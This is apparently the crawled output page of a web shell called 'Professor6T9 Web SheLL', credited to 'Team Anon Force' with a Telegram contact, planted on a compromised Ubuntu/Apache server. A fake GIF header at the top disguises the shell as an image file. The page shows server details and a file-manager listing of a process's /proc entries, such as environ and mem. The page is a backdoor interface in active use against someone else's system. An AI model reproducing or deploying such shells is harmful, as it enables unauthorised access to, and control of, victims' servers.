GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
 Apache/2.4.52 (Ubuntu)
 127.0.0.1
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1015/1015 0555 2026-01-15 11:47:35
.. dir - 1015/1015 0555 2026-01-15 11:47:35
attr dir - 1015/1015 0555 2026-01-16 01:28:17
fd dir - 1015/1015 0500 2026-01-16 01:28:17
fdinfo dir - 1015/1015 0555 2026-01-16 01:28:17
net dir - 1015/1015 0555 2026-01-16 01:28:17
ns dir - 1015/1015 0511 2026-01-16 01:28:17
arch_status application/x-empty 0 B 1015/1015 0444 2026-01-16 01:28:17
auxv 0 B 1015/1015 0400 2026-01-16 01:28:17
cgroup text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
children application/x-empty 0 B 1015/1015 0444 2026-01-16 01:28:17
clear_refs 0 B 1015/1015 0200 2026-01-16 01:28:17
cmdline application/octet-stream 0 B 1015/1015 0444 2026-01-16 01:28:17
comm text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
cpu_resctrl_groups text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
cpuset application/octet-stream 0 B 1015/1015 0444 2026-01-16 01:28:17
environ 0 B 1015/1015 0400 2026-01-16 01:28:17
gid_map text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
io 0 B 1015/1015 0400 2026-01-16 01:28:17
limits text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
loginuid text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
maps 0 B 1015/1015 0444 2026-01-16 01:28:17
mem 0 B 1015/1015 0600 2026-01-16 01:28:17
mountinfo text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
mounts text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
numa_maps 0 B 1015/1015 0444 2026-01-16 01:28:17
oom_adj application/octet-stream 0 B 1015/1015 0644 2026-01-16 01:28:17
oom_score text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
oom_score_adj application/octet-stream 0 B 1015/1015 0644 2026-01-16 01:28:17
pagemap 0 B 1015/1015 0400 2026-01-16 01:28:17
patch_state 0 B 1015/1015 0400 2026-01-16 01:28:17
personality 0 B 1015/1015 0400 2026-01-16 01:28:17
projid_map text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
sched text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
schedstat text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
sessionid text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
setgroups text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
smaps 0 B 1015/1015 0444 2026-01-16 01:28:17
smaps_rollup 0 B 1015/1015 0444 2026-01-16 01:28:17
stack 0 B 1015/1015 0400 2026-01-16 01:28:17
stat text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
statm text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
status text/plain 0 B 1015/1015 0444 2026-01-16 01:28:17
syscall 0 B 1015/1015 0400 2026-01-16 01:28:17
uid_map text/plain 0 B 1015/1015 0644 2026-01-16 01:28:17
wchan application/octet-stream 0 B 1015/1015 0444 2026-01-16 01:28:17
© Professor6T9